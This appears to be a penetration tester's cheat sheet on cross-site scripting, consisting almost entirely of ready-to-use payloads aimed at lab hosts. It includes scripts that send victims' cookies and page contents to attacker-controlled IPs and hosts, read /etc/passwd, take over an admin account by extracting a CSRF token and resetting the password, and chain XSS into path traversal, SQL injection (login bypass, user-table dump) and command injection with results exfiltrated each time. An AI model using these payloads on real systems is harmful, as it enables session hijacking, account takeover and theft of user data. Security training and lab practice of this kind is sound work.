XSS

As web applications grow in complexity and prevalence, so do their vulnerabilities. One of the most common types of web application vulnerabilities is Cross-Site Scripting (XSS).

XSS payloads

# Check for xss file upload vulnerability
echo '<SCRIPT SRC=http://10.10.14.22:9090/test></SCRIPT>' > test2.png

# Load remote script
<script src="http://OUR_IP/script.js"></script>

# Send cookie
<script>new Image().src='http://OUR_IP/index.php?c='+document.cookie</script>
<script>var i=new Image(); i.src="http://10.10.14.8/?cookie="+btoa(document.cookie);</script>

# Check with basic payload
<script>alert(window.origin)</script>

# HTML based
<img src="" onerror=alert(window.origin)>

# Change background color
<script>document.body.style.background = "#141d2b"</script>

Read files

# Read file
<script> x=new XMLHttpRequest; x.onload=function(){document.write(this.responseText)}; x.open('GET','file:///etc/passwd');x.send(); </script>

# Read file base64
<script> x=new XMLHttpRequest; x.onload=function(){document.write(btoa(this.responseText))}; x.open('GET','file:///etc/passwd');x.send(); </script>
<img src=x onerror="fetch('http://10.10.11.11/api/test').then(r => r.text()).then(data => fetch(`http://10.10.14.9/?data=${btoa(data)}`))">
# On target
<script src="http://mczen.xyz/exploit"></script>

# On attacker machine
window.location = "http://target.xzy/cookiestealer?c=" + document.cookie;

Exfiltrate data

Exfiltrate data from the victim's user context, here home.php. If the endpoint's fetch request does not include credentials remove xhr.withCredentials = true;.

Host script in script.js and get with

<script src="http://10.10.10.10/script.js"></script>
var xhr = new XMLHttpRequest();
xhr.open('GET', '/home.php', false);
xhr.withCredentials = true;
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://10.10.14.144:4443/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

Account takover

If updating password doesn not require old password we can change victims password by making a GET request where we get the CSRF token, extract it and POST request to change victim's password.

var xhr = new XMLHttpRequest();
xhr.open('GET', '/home.php', false);
xhr.withCredentials = true;
xhr.send();
var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
var csrftoken = encodeURIComponent(doc.getElementById('csrf_token').value);

// change PW
var csrf_req = new XMLHttpRequest();
var params = `username=admin&[email protected]&password=pwned&csrf_token=6079fb6a924fc0f3128e7d2014d0e7c5`;
csrf_req.open('POST', '/home.php', false);
csrf_req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
csrf_req.withCredentials = true;
csrf_req.send(params);

XSS chained with LFI

var xhr = new XMLHttpRequest();
xhr.open('GET', '/admin.php?view=../../../../etc/passwd', false);
xhr.withCredentials = true;
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "http://exfiltrate.htb/lfi?r=" + btoa(xhr.responseText), false);
exfil.send();

XSS chained with SQL injection

Using xxs we found an endpoint at http://internal.vulnerablesite.htb. First exfiltrate the data:

var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://internal.vulnerablesite.htb/', false);
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "http://exfiltrate.htb/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

Test for SQL injection

var xhr = new XMLHttpRequest();
var params = `uname=${encodeURIComponent("'test")}&pass=x`;
xhr.open('POST', 'http://internal.vulnerablesite.htb/check', false);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send(params);

var exfil = new XMLHttpRequest();
exfil.open("GET", "http://exfiltrate.htb/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

SQL authentication bypass

var xhr = new XMLHttpRequest();
var params = `uname=${encodeURIComponent("' OR '1'='1' -- -")}&pass=x`;
xhr.open('POST', 'http://internal.vulnerablesite.htb/check', false);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send(params);

var exfil = new XMLHttpRequest();
exfil.open("GET", "http://exfiltrate.htb/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

Dump user table

var xhr = new XMLHttpRequest();
var params = `uname=${encodeURIComponent("' UNION SELECT id,username,password,info FROM users-- -")}&pass=x`;
xhr.open('POST', 'http://internal.vulnerablesite.htb/check', false);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send(params);

var exfil = new XMLHttpRequest();
exfil.open("GET", "http://exfiltrate.htb/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

XSS chained RCE

If getting a response like curl: (6) Could not resolve host: doesnotexist.htb after data exfil RCE might be possible.

var xhr = new XMLHttpRequest();
var params = `webapp_selector=${encodeURIComponent("| id")}`;
xhr.open('POST', 'http://internal.vulnerablesite.htb/check', false);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send(params);

var exfil = new XMLHttpRequest();
exfil.open("GET", "http://exfiltrate.htb/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

Last updated

Was this helpful?